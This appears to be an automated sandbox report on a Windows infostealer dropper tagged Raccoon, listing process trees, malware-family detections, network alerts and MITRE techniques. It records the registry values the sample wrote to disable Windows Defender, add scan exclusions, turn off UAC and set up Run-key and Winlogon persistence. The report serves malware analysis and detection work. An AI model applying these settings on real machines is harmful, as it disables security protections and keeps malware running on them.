raccoon | 64506751e65ec41605c04620d393cdf9338ce76d31d8b0868dbdfce88f086a03

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe,C:\\Users\\Admin\\AppData\\Local\\chromedrlver.exe,"	reg.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

rundll32.exerundll32.exerundll32.exe

description	pid	pid_target	process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5964	4512	rundll32.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	6472	4512	rundll32.exe
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	660	4512	rundll32.exe

Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 5 IoCs

Processes:

resource	yara_rule
behavioral7/memory/5184-321-0x0000000000000000-mapping.dmp	family_redline
behavioral7/memory/5212-328-0x0000000000000000-mapping.dmp	family_redline
behavioral7/memory/5204-327-0x0000000000000000-mapping.dmp	family_redline
behavioral7/memory/5184-323-0x0000000000400000-0x0000000000422000-memory.dmp	family_redline
behavioral7/memory/5212-367-0x00000000056A0000-0x0000000005CB8000-memory.dmp	family_redline

Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars Payload 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue193129b31e741ef3.exe	family_socelars
C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\Tue193129b31e741ef3.exe	family_socelars

Suspicious use of NtCreateProcessExOtherParentProcess 37 IoCs

Processes:

WerFault.exemshta.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exexuo_eAAVeQ3DdziH037qfOMv.tmpWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

description	pid	process	target process
PID 4416 created 1584	4416	WerFault.exe	setup_install.exe
PID 5596 created 4632	5596	mshta.exe	Tue19cef5687a.exe
PID 6136 created 5996	6136	WerFault.exe	rundll32.exe
PID 4492 created 1448	4492	WerFault.exe	Tue193129b31e741ef3.exe
PID 5532 created 3788	5532	WerFault.exe	SwxyeNJIl0r718bIrtPL8xPo.exe
PID 5428 created 1888	5428	WerFault.exe	MegogoSell_crypted.exe
PID 5728 created 5732	5728	WerFault.exe	CasPol.exe
PID 6704 created 1968	6704	WerFault.exe	yUY4neIpqF3oY1ihzsyYJB7Q.exe
PID 6752 created 916	6752	WerFault.exe	powershell.exe
PID 6968 created 3772	6968	WerFault.exe	WerFault.exe
PID 7072 created 4484	7072	xuo_eAAVeQ3DdziH037qfOMv.tmp	MoIYMqY7itStW6hWPmAWZExs.exe
PID 2576 created 5404	2576	WerFault.exe	setup_2.exe
PID 2784 created 3720	2784	WerFault.exe	cStLY2Iby3gHw3qmAwKG0OBw.exe
PID 4752 created 4384	4752	WerFault.exe	RHbA29p3uVDPZn3ZmOXzoJjb.exe
PID 6920 created 5968	6920	WerFault.exe	bL53B5U4boy7uSOcBrXAt1Uz.exe
PID 5724 created 4612	5724	WerFault.exe	cw4uushihEempOZdZM5q7c1D.exe
PID 6752 created 1888	6752	WerFault.exe	MegogoSell_crypted.exe
PID 7112 created 4984	7112	WerFault.exe	Conhost.exe
PID 5580 created 4244	5580	WerFault.exe	L9Sq6UTibaLuQEqBy00aF_GC.exe
PID 4880 created 6672	4880	WerFault.exe	WW1Soft.exe
PID 3772 created 4652	3772	WerFault.exe	rundll32.exe
PID 1588 created 5404	1588	WerFault.exe	setup_2.exe
PID 4032 created 3920	4032	WerFault.exe	Conhost.exe
PID 1624 created 6632	1624	WerFault.exe	chrome1.exe
PID 4196 created 7644	4196	WerFault.exe	8D54.exe
PID 5984 created 5236	5984	WerFault.exe	DV0TDEfAz_6bg7ytiF40f2bk.exe
PID 7768 created 5772	7768	WerFault.exe	EpnLZjlgV8Eatb6BHlVQKXqJ.exe
PID 7412 created 5052	7412		OTStyg0VgBV152P48JKfTAX0.exe
PID 1060 created 7248	1060	WerFault.exe	39F.exe
PID 1472 created 6512	1472	WerFault.exe	rundll32.exe
PID 6712 created 6324	6712	WerFault.exe	AAFD.exe
PID 5372 created 7660	5372	WerFault.exe	2A31.exe
PID 5776 created 500	5776	WerFault.exe	EE7F.exe
PID 1296 created 3200	1296	WerFault.exe	2986.exe
PID 7904 created 3200	7904	WerFault.exe	2986.exe
PID 8020 created 3156	8020	WerFault.exe	574D.exe
PID 7548 created 2064	7548	WerFault.exe	933E.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 16 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 5076 created 6332	5076	svchost.exe	Conhost.exe
PID 5076 created 6332	5076	svchost.exe	Conhost.exe
PID 5076 created 6612	5076	svchost.exe	AdvancedRun.exe
PID 5076 created 6612	5076	svchost.exe	AdvancedRun.exe
PID 5076 created 7752	5076	svchost.exe	AdvancedRun.exe
PID 5076 created 7752	5076	svchost.exe	AdvancedRun.exe
PID 5076 created 7736	5076	svchost.exe	AdvancedRun.exe
PID 5076 created 7736	5076	svchost.exe	AdvancedRun.exe
PID 5076 created 7712	5076	svchost.exe	AdvancedRun.exe
PID 5076 created 7712	5076	svchost.exe	AdvancedRun.exe
PID 5076 created 6644	5076	svchost.exe	AdvancedRun.exe
PID 5076 created 6644	5076	svchost.exe	AdvancedRun.exe
PID 5076 created 6844	5076	svchost.exe	AdvancedRun.exe
PID 5076 created 6844	5076	svchost.exe	AdvancedRun.exe
PID 5076 created 6168	5076	svchost.exe	AdvancedRun.exe
PID 5076 created 6168	5076	svchost.exe	AdvancedRun.exe

Turns off Windows Defender SpyNet reporting 2 TTPs
evasion

Disabling Security Tools
T1089

Modify Registry
T1112
UAC bypass 3 TTPs
evasion trojan

Bypass User Account Control
T1088

Disabling Security Tools
T1089

Modify Registry
T1112
Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112
Xloader
Xloader is a rebranded version of Formbook malware.
loader xloader

rl_trojan 1 IoCs

redline stealer.

stealer

Processes:

resource	yara_rule
behavioral7/memory/1888-589-0x0000000000400000-0x000000000091D000-memory.dmp	redline

suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata: ET MALWARE Sharik/Smoke CnC Beacon 11
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Xloader Payload 1 IoCs

rat

Processes:

resource	yara_rule
behavioral7/memory/6460-631-0x00000000030A0000-0x00000000030C9000-memory.dmp	xloader

ASPack v2.12-2.42 7 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\libstdc++-6.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\libstdc++-6.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\libcurl.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\libcurl.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\libcurl.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\libcurlpp.dll	aspack_v212_v242
C:\Users\Admin\AppData\Local\Temp\7zS4FB226D4\libcurlpp.dll	aspack_v212_v242

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

186 916 powershell.exe
192 916 powershell.exe
Downloads MZ/PE file
Drops file in Drivers directory 1 IoCs

Processes:

DYbALA.exe

description ioc process

File opened for modification C:\Windows\system32\drivers\etc\hosts DYbALA.exe

flow	pid	process
186	916	powershell.exe
192	916	powershell.exe

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	DYbALA.exe

Executes dropped EXE 64 IoCs

Processes:

setup_installer.exesetup_install.exeTue19ac3c92c21.exeTue19c9e031f4.execmd.exeTue1932df4dae.exeTue19cd42a7c874e44.exeTue19cef5687a.exeTue193e530416b51740a.exeTue1968b7ee9058232e8.exeTue19d1fc7d2654d7a.exeTue19f40f8518b9946.exeTue19b4b38a7569a9.exeTue19c28f648204dbd4.exeTue197e9ec0ff0.exeTue192c34b1c2f5.exeTue193129b31e741ef3.exeTue196397c0f84f8.tmpTue196397c0f84f8.exeTue196397c0f84f8.tmp~Xy1GPomKV09sC.ExeTue19f40f8518b9946.exeTue193e530416b51740a.exeTue19d1fc7d2654d7a.exe4638902.exe7688562.exe8728024.exeEdmGen.exe1248012.exesetup.tmpRxAPuFNW.exe0CDdd6ye0BQyabiIt8z33YgF.exeWinHoster.exeIzqSVV2MxS0q1xEXzN5eWDIl.exeWerFault.exeu01mncpPd05JugUqOyeMRfZg.exeIZhlUdXBoO64eK1a59dP6t92.exeHVkcxXym7xoildiMEKuLlla_.exeMoIYMqY7itStW6hWPmAWZExs.execStLY2Iby3gHw3qmAwKG0OBw.exebL53B5U4boy7uSOcBrXAt1Uz.execw4uushihEempOZdZM5q7c1D.exe2AVoW_HFD3n9JaTjdbifMQHR.exeConhost.exeAkHELdpZebwJQntc6z4eahTf.exeRHbA29p3uVDPZn3ZmOXzoJjb.exeyUY4neIpqF3oY1ihzsyYJB7Q.exe5aKYEtchxxSMB6BZybdKWpgt.exesetup_2.exeUkz6iVjJmwP1E7zhcrqDZH7W.exepowershell.exeConhost.exenIw1Sat6es_zo5jbkIdndVj5.exeQHQhADDgPYxxrKgGZams8f5i.exeEpnLZjlgV8Eatb6BHlVQKXqJ.exeCasPol.exe9UEW0eoYEedEenlgVZyb_atL.exeSwxyeNJIl0r718bIrtPL8xPo.exeYFe0Lgfa8TVHERVCczYzBDib.exeL9Sq6UTibaLuQEqBy00aF_GC.exensSFmLfzAtFoI3XRwcFqCAab.exeMegogoSell_crypted.exeWerFault.executm3.exe

pid	process
3060	setup_installer.exe
1584	setup_install.exe
4868	Tue19ac3c92c21.exe
2068	Tue19c9e031f4.exe
960	cmd.exe
4568	Tue1932df4dae.exe
3284	Tue19cd42a7c874e44.exe
4632	Tue19cef5687a.exe
3280	Tue193e530416b51740a.exe
3788	Tue1968b7ee9058232e8.exe
4140	Tue19d1fc7d2654d7a.exe
2724	Tue19f40f8518b9946.exe
3608	Tue19b4b38a7569a9.exe
2780	Tue19c28f648204dbd4.exe
1036	Tue197e9ec0ff0.exe
1888	Tue192c34b1c2f5.exe
1448	Tue193129b31e741ef3.exe
2808	Tue196397c0f84f8.tmp
5044	Tue196397c0f84f8.exe
2220	Tue196397c0f84f8.tmp
5272	~Xy1GPomKV09sC.Exe
5184	Tue19f40f8518b9946.exe
5204	Tue193e530416b51740a.exe
5212	Tue19d1fc7d2654d7a.exe
5644	4638902.exe
6020	7688562.exe
5244	8728024.exe
3160	EdmGen.exe
5500	1248012.exe
2852	setup.tmp
2144	RxAPuFNW.exe
1340	0CDdd6ye0BQyabiIt8z33YgF.exe
1420	WinHoster.exe
5368	IzqSVV2MxS0q1xEXzN5eWDIl.exe
3772	WerFault.exe
5064	u01mncpPd05JugUqOyeMRfZg.exe
5828	IZhlUdXBoO64eK1a59dP6t92.exe
5664	HVkcxXym7xoildiMEKuLlla_.exe
4484	MoIYMqY7itStW6hWPmAWZExs.exe
3720	cStLY2Iby3gHw3qmAwKG0OBw.exe
5968	bL53B5U4boy7uSOcBrXAt1Uz.exe
4612	cw4uushihEempOZdZM5q7c1D.exe
6000	2AVoW_HFD3n9JaTjdbifMQHR.exe
4584	Conhost.exe
3472	AkHELdpZebwJQntc6z4eahTf.exe
4384	RHbA29p3uVDPZn3ZmOXzoJjb.exe
1968	yUY4neIpqF3oY1ihzsyYJB7Q.exe
5976	5aKYEtchxxSMB6BZybdKWpgt.exe
5404	setup_2.exe
4040	Ukz6iVjJmwP1E7zhcrqDZH7W.exe
916	powershell.exe
4984	Conhost.exe
2472	nIw1Sat6es_zo5jbkIdndVj5.exe
5912	QHQhADDgPYxxrKgGZams8f5i.exe
5772	EpnLZjlgV8Eatb6BHlVQKXqJ.exe
5732	CasPol.exe
1116	9UEW0eoYEedEenlgVZyb_atL.exe
3788	SwxyeNJIl0r718bIrtPL8xPo.exe
3680	YFe0Lgfa8TVHERVCczYzBDib.exe
4244	L9Sq6UTibaLuQEqBy00aF_GC.exe
5460	nsSFmLfzAtFoI3XRwcFqCAab.exe
1888	MegogoSell_crypted.exe
5868	WerFault.exe
1568	cutm3.exe

Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Sets service image path in registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Checks BIOS information in registry 2 TTPs 18 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

7688562.exeIZhlUdXBoO64eK1a59dP6t92.exeUkz6iVjJmwP1E7zhcrqDZH7W.exeHVkcxXym7xoildiMEKuLlla_.exeMegogoSell_crypted.exeQHQhADDgPYxxrKgGZams8f5i.exeYFe0Lgfa8TVHERVCczYzBDib.exe3542840.exe8728024.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	7688562.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	IZhlUdXBoO64eK1a59dP6t92.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Ukz6iVjJmwP1E7zhcrqDZH7W.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	7688562.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	HVkcxXym7xoildiMEKuLlla_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	HVkcxXym7xoildiMEKuLlla_.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	MegogoSell_crypted.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	MegogoSell_crypted.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	QHQhADDgPYxxrKgGZams8f5i.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	IZhlUdXBoO64eK1a59dP6t92.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Ukz6iVjJmwP1E7zhcrqDZH7W.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	YFe0Lgfa8TVHERVCczYzBDib.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	YFe0Lgfa8TVHERVCczYzBDib.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	QHQhADDgPYxxrKgGZams8f5i.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	3542840.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	8728024.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	8728024.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	3542840.exe

Drops startup file 4 IoCs

Processes:

u01mncpPd05JugUqOyeMRfZg.exeBA11.exe

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe	u01mncpPd05JugUqOyeMRfZg.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe	BA11.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe	BA11.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe	u01mncpPd05JugUqOyeMRfZg.exe

Loads dropped DLL 53 IoCs

Processes:

setup_install.exeTue196397c0f84f8.tmpTue196397c0f84f8.tmprundll32.exemsiexec.exeUMB_7E180Bv5mlU5mG71A18S.exesvchost.exeCalculator Installation.exesetup.tmprundll32.exerundll32.exeSetup.exesetup.exe_vn3ThOt20ayqZ8ilhXctQol.exexuo_eAAVeQ3DdziH037qfOMv.tmpmsiexec.exerundll32.exerundll32.exesetup.exerundll32.exemsiexec.exerundll32.exeinstaller.exe

pid	process
1584	setup_install.exe
1584	setup_install.exe
1584	setup_install.exe
1584	setup_install.exe
1584	setup_install.exe
1584	setup_install.exe
1584	setup_install.exe
2808	Tue196397c0f84f8.tmp
2220	Tue196397c0f84f8.tmp
5996	rundll32.exe
1436	msiexec.exe
6484	UMB_7E180Bv5mlU5mG71A18S.exe
6484	UMB_7E180Bv5mlU5mG71A18S.exe
1104	svchost.exe
5536	Calculator Installation.exe
5536	Calculator Installation.exe
6484	UMB_7E180Bv5mlU5mG71A18S.exe
5536	Calculator Installation.exe
6484	UMB_7E180Bv5mlU5mG71A18S.exe
2852	setup.tmp
6484	UMB_7E180Bv5mlU5mG71A18S.exe
4496	rundll32.exe
4496	rundll32.exe
5536	Calculator Installation.exe
5536	Calculator Installation.exe
5536	Calculator Installation.exe
4652	rundll32.exe
5536	Calculator Installation.exe
7348	Setup.exe
7348	Setup.exe
7484	setup.exe
7484	setup.exe
5756	_vn3ThOt20ayqZ8ilhXctQol.exe
5756	_vn3ThOt20ayqZ8ilhXctQol.exe
7072	xuo_eAAVeQ3DdziH037qfOMv.tmp
5756	_vn3ThOt20ayqZ8ilhXctQol.exe
5756	_vn3ThOt20ayqZ8ilhXctQol.exe
7648	msiexec.exe
5756	_vn3ThOt20ayqZ8ilhXctQol.exe
7648	msiexec.exe
5756	_vn3ThOt20ayqZ8ilhXctQol.exe
796	rundll32.exe
796	rundll32.exe
5524	rundll32.exe
5524	rundll32.exe
8072	setup.exe
8072	setup.exe
6512	rundll32.exe
4760	msiexec.exe
4760	msiexec.exe
1488	rundll32.exe
18404	installer.exe
18404	installer.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Themida packer 1 IoCs

Detects Themida, an advanced Windows software protection system.

themida

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Roaming\7688562.exe	themida

Windows security modification 2 TTPs 15 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

Processes:

u01mncpPd05JugUqOyeMRfZg.exeBA11.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	u01mncpPd05JugUqOyeMRfZg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe = "0"	u01mncpPd05JugUqOyeMRfZg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Pictures\Adobe Films\u01mncpPd05JugUqOyeMRfZg.exe = "0"	u01mncpPd05JugUqOyeMRfZg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection	u01mncpPd05JugUqOyeMRfZg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	u01mncpPd05JugUqOyeMRfZg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet	u01mncpPd05JugUqOyeMRfZg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	u01mncpPd05JugUqOyeMRfZg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	u01mncpPd05JugUqOyeMRfZg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\BA11.exe = "0"	BA11.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Cursors\veejays\svchost.exe = "0"	BA11.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SpyNetReporting = "0"	u01mncpPd05JugUqOyeMRfZg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\scriptwriters.exe = "0"	BA11.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions	u01mncpPd05JugUqOyeMRfZg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Spynet\SubmitSamplesConsent = "0"	u01mncpPd05JugUqOyeMRfZg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files\Common Files\System\sememe\svchost.exe = "0"	u01mncpPd05JugUqOyeMRfZg.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

Processes:

scriptwriters.exe1248012.exeu01mncpPd05JugUqOyeMRfZg.exehepatocyte.exeDYbALA.exeBA11.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\scriptwriters = "C:\\Windows\\Cursors\\veejays\\svchost.exe"	scriptwriters.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinHost = "C:\\Users\\Admin\\AppData\\Roaming\\WinHost\\WinHoster.exe"	1248012.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\hepatocyte = "C:\\Program Files\\Common Files\\System\\sememe\\svchost.exe"	u01mncpPd05JugUqOyeMRfZg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\hepatocyte = "C:\\Program Files\\Common Files\\System\\sememe\\svchost.exe"	hepatocyte.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\system recover = "\"C:\\Program Files (x86)\\Windows Photo Viewer\\Meqomotiko.exe\""	DYbALA.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-257790753-2419383948-818201544-1000\Software\Microsoft\Windows\CurrentVersion\RunOnce\scriptwriters = "C:\\Windows\\Cursors\\veejays\\svchost.exe"	BA11.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Checks whether UAC is enabled 1 TTPs 17 IoCs

evasion trojan

System Information Discovery

Processes:

u01mncpPd05JugUqOyeMRfZg.exeBA11.exeIZhlUdXBoO64eK1a59dP6t92.exeYFe0Lgfa8TVHERVCczYzBDib.exe3542840.exehepatocyte.exescriptwriters.exe7688562.exeHVkcxXym7xoildiMEKuLlla_.exeUkz6iVjJmwP1E7zhcrqDZH7W.exe8728024.exeQHQhADDgPYxxrKgGZams8f5i.exeMegogoSell_crypted.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	u01mncpPd05JugUqOyeMRfZg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	BA11.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	BA11.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	IZhlUdXBoO64eK1a59dP6t92.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	YFe0Lgfa8TVHERVCczYzBDib.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	3542840.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	u01mncpPd05JugUqOyeMRfZg.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	hepatocyte.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	hepatocyte.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	scriptwriters.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	7688562.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	HVkcxXym7xoildiMEKuLlla_.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Ukz6iVjJmwP1E7zhcrqDZH7W.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	8728024.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	QHQhADDgPYxxrKgGZams8f5i.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	MegogoSell_crypted.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	scriptwriters.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

49 ipinfo.io
66 ipinfo.io
196 ipinfo.io
207 ipinfo.io
292 ipinfo.io
11 ip-api.com
11 ipinfo.io
Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

flow	ioc
49	ipinfo.io
66	ipinfo.io
196	ipinfo.io
207	ipinfo.io
292	ipinfo.io
11	ip-api.com
11	ipinfo.io

Suspicious use of NtSetInformationThreadHideFromDebugger 8 IoCs

Processes:

7688562.exe8728024.exeHVkcxXym7xoildiMEKuLlla_.exeIZhlUdXBoO64eK1a59dP6t92.exeYFe0Lgfa8TVHERVCczYzBDib.exeUkz6iVjJmwP1E7zhcrqDZH7W.exeQHQhADDgPYxxrKgGZams8f5i.exe3542840.exe

pid	process
6020	7688562.exe
5244	8728024.exe
5664	HVkcxXym7xoildiMEKuLlla_.exe
5828	IZhlUdXBoO64eK1a59dP6t92.exe
3680	YFe0Lgfa8TVHERVCczYzBDib.exe
4040	Ukz6iVjJmwP1E7zhcrqDZH7W.exe
5912	QHQhADDgPYxxrKgGZams8f5i.exe
2156	3542840.exe

